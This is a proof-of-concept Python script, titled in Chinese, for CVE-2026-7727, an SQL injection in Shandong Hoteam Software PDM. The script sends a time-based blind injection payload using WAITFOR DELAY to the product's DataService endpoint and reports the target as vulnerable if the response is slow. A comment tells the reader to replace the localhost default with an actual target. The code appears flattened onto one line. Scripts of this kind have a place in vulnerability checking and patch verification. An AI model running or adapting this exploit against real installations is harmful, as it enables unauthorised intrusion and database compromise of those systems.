CVE-2026-7727 山东华天软件PDM SQL注入漏洞

import requests def check_vuln(target_url): """ PoC for CVE-2026-7727 SQL Injection in Shandong Hoteam Software PDM """ url = f"{target_url}/Base/BaseService.asmx/DataService" headers = { "Content-Type": "application/x-www-form-urlencoded" } # Payload to test SQL injection using time-based blind technique # Injecting 'WAITFOR DELAY' to check if database pauses payload = "SortOrder=1; WAITFOR DELAY '0:0:5'--" try: response = requests.post(url, headers=headers, data=payload, timeout=10) # Analyze response time to confirm vulnerability if response.elapsed.total_seconds() >= 5: print(f"[+] Target {target_url} is vulnerable to CVE-2026-7727!") else: print(f"[-] Target {target_url} does not appear vulnerable.") except Exception as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target check_vuln(target)